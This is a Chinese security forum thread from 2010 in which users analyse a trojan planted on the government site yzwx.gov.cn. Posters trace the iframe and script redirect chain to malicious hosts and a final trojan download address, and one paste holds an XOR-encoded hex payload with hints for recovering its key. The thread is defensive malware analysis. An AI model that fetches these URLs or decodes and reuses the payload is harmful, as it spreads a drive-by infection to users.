卡巴斯基2010套装报yzwx.gov.cn木马[挂马][已检测 by 是昔流芳]

显示全部楼层 · 发表于 2010-4-18 15:05:09

本帖最后由是昔流芳于 2010-4-18 17:18 编辑

卡巴kis2010报hxxp://www.yzwx.gov.cn/有木马，木马为Trojan-Clicker.HTML.Agent.aq。

显示全部楼层 · 发表于 2010-4-18 15:20:43

本帖最后由幸福的猪猪于 2010-4-18 16:35 编辑

被挂马了。。。

关于:hxxp://www.yzwx.gov.cn/解密的日志(全体输出 -  9):
Level  0>hxxp://www.yzwx.gov.cn/
Level  1>hxxp://%63%2Etl%69nee.com%2E%63%6E
Level  2>hxxp://c.tlinee.com.cn/
Level  3>hxxp://tbao9.6600.org:97/xo/dk.html
Level  4>hxxp://tbao9.6600.org:97/xo/0.htm
Level  5>hxxp://tbao9.6600.org:97/0.htm
Level  1>hxxp://c%2E%75%73%74o%63n%2E%63om%2E%63%6E
Level  2>hxxp://c.ustocn.com.cn
Level  3>hxxp://tbao9.6600.org:97/xo/dk.html
Level  4>hxxp://tbao9.6600.org:97/xo/0.htm
Level  5>hxxp://tbao9.6600.org:97/0.htm
日志由 Redoce2.0第91次修正版于 2010-4-18 15:26:34 生成。

通过特殊方法获取到的最终木马下载地址为：hf5d.3322.org:28/www.baidu.com

显示全部楼层 · 发表于 2010-4-18 15:22:42

应该被挂马了。。。小红伞报了！

显示全部楼层 · 发表于 2010-4-18 16:04:23

Log is generated by FreShow.
[wide]http://www.yzwx.gov.cn/
[frame]http://www.cq.gov.cn/othersites/sinaweather.asp
[frame]http://www.yzwx.gov.cn/book/vote/inc.asp
      [script]http://c.tlinee.com.cn
         [frame]http://tbao9.6600.org:97/xo/dk.html
            [script]http://js.tongji.linezing.com/1566155/tongji.js
            [frame]http://tbao9.6600.org:97/xo/0.htm
                  [frame]http://tbao9.6600.org:97/xo/../0.htm
                     [object]http://hf5d.3322.org:28/www.baidu.com
                  [script]http://js.tongji.linezing.com/1549551/tongji.js
                  [script]http://js.tongji.linezing.com/1549551/tongji.js
      [script]http://c.ustocn.com.cn
         [frame]http://tbao9.6600.org:97/xo/dk.html
            [script]http://js.tongji.linezing.com/1566155/tongji.js
            [frame]http://tbao9.6600.org:97/xo/0.htm
                  [frame]http://tbao9.6600.org:97/xo/../0.htm
                     [object]http://hf5d.3322.org:28/www.baidu.com
                  [script]http://js.tongji.linezing.com/1549551/tongji.js
                  [script]http://js.tongji.linezing.com/1549551/tongji.js
[script]http://s.vdoing.com/u/111/57007.js
[script]http://c.tlinee.com.cn
[script]http://c.ustocn.com.cn
      [frame]http://tbao9.6600.org:97/xo/dk.html
         [script]http://js.tongji.linezing.com/1566155/tongji.js
         [frame]http://tbao9.6600.org:97/xo/0.htm
            [frame]http://tbao9.6600.org:97/xo/../0.htm
                  [object]http://hf5d.3322.org:28/www.baidu.com
            [script]http://js.tongji.linezing.com/1549551/tongji.js
            [script]http://js.tongji.linezing.com/1549551/tongji.js

显示全部楼层 · 发表于 2010-4-18 16:19:13

回复 2# 幸福的猪猪
先用HEXASCII清除

243320723D333A3D6F751316106577276116666777276360647579051F131A051F79756A171775695F5824332072131C1A171B6F3D333A3D79757727366736307727316B316B77276A65313677276B606B607727363036677727366B6A6A77276A376B6177276A346A3777276B616A3477273134366077276A65363377276A676A34772731336B60772731333133772736346B617727366636317727316A366B772736376B6177273662366077273036303677273036303675695F58243320720B0125022700253A041C2813131E1B002A2A3E1B08241C1F141B26222214101117313E3004351D05130B193831391A1828231D033E262525341C231D110116033E2B3C6F273C3721313322377A1E1A131A791A1A131A790101131A793D333A79131C1A171B7B695F5825341F05103C21143027213E2120002A3C030B371C061D2A281E3F1C23363E281A06073F071F1C1D0323132426302318111320300816383F3714356F3C372572132020332B7A7B695F58243320721C1E1B1B1D33051705236F622A6A646262627F7A0B0125022700253A041C2813131E1B002A2A3E1B08241C1F141B26222214101117313E3004351D05130B193831391A1828231D033E262525341C231D110116033E2B3C7C3E373C35263A78607B695F582433207236211F39363122203020271B1B31153E2223013C25071825071F0B061901246F273C3721313322377A75772762316231772762316231757B695F58253A3B3E377A36211F39363122203020271B1B31153E2223013C25071825071F0B061901247C3E373C35263A6E1C1E1B1B1D33051705237D607B295F585B36211F39363122203020271B1B31153E2223013C25071825071F0B06190124796F36211F39363122203020271B1B31153E2223013C25071825071F0B06190124695F585B5F582F243320722A1C1C273F1A27023D3931233E23213D37311D3A311407131E3817080336241A253434101720061F3A3B25331C1A261023161E0B28203B6F36211F39363122203020271B1B31153E2223013C25071825071F0B061901247C2127302126203B3C357A627E1C1E1B1B1D33051705237D607B695F5836373E3726377236211F39363122203020271B1B31153E2223013C25071825071F0B06190124695F585F5872343D207A2603393C07300127221A02303D31140A6F6269722603393C07300127221A02303D31140A6E60656269722603393C07300127221A02303D31140A79797B72295F58727225341F05103C21143027213E2120002A3C030B371C061D2A281E3F1C23363E281A06073F071F1C1D0323132426302318111320300816383F371435092603393C07300127221A02303D31140A0F726F722A1C1C273F1A27023D3931233E23213D37311D3A311407131E3817080336241A253434101720061F3A3B25331C1A261023161E0B28203B7279722A1C1C273F1A27023D3931233E23213D37311D3A311407131E3817080336241A253434101720061F3A3B25331C1A261023161E0B28203B7279720B0125022700253A041C2813131E1B002A2A3E1B08241C1F141B26222214101117313E3004351D05130B193831391A1828231D033E262525341C231D110116033E2B3C695F58722F5F58695F5804063E31616F701C331C70691317132A1E626F701C331C706939271C3122656F701C331C706916103F3B24301C646F701C331C706901362004656F701C331C70691A143B050B626F701C331C70693A2A3E233527616F701C331C706918060B10646F701C331C70691331022B656F701C331C70690B3B28311E666F701C331C7069050703260018666F701C331C706914343031666F701C331C70690211343E636F701C331C7069341F3014233A0B676F701C331C7069281B101F606F701C331C7069

复制代码

然后XOR密钥寻找,在输入目标字符那里把http:改成var,就能猜到密钥

显示全部楼层 · 发表于 2010-4-18 16:25:10

真是速度啊。

没有赶上

显示全部楼层 · 发表于 2010-4-18 16:25:44

本帖最后由幸福的猪猪于 2010-4-18 16:28 编辑

回复 5# always

谢谢你的解答，今天收获颇丰啊。

p.s. 直到现在才知道xor自动查找密匙，要那样用的。

显示全部楼层 · 发表于 2010-4-18 17:10:53

本帖最后由 jason_jiang 于 2010-4-19 06:37 编辑

样本
W32/Autorun.JEN

显示全部楼层 · 发表于 2010-4-18 17:17:32

o(︶︿︶)o 唉还是老样子

关于:hxxp://www.yzwx.gov.cn/解密的日志(全体输出 -  10):

Level  0>http://www.yzwx.gov.cn/
Level  1>http://www.cq.gov.cn/othersites/sinaweather.asp
Level  1>http://www.yzwx.gov.cn/yz_tmp/tpllinkfiles/images/pixviewer.swf
Level  1>http://www.yzwx.gov.cn/book/vote/inc.asp
Level  2>http://c.ustocn.com.cn
Level  3>http://tbao9.6600.org:97/xo/dk.html
Level  2>http://c.tlinee.com.cn
Level  3>http://tbao9.6600.org:97/xo/dk.html
Level  1>http://s.vdoing.com/u/111/57007.js
Level  1>http://c%.75%s74o%

analyzed by 是昔流芳

显示全部楼层 · 发表于 2010-4-18 18:19:13

金山网盾报

[其它] 卡巴斯基2010套装报yzwx.gov.cn木马[挂马][已检测 by 是昔流芳]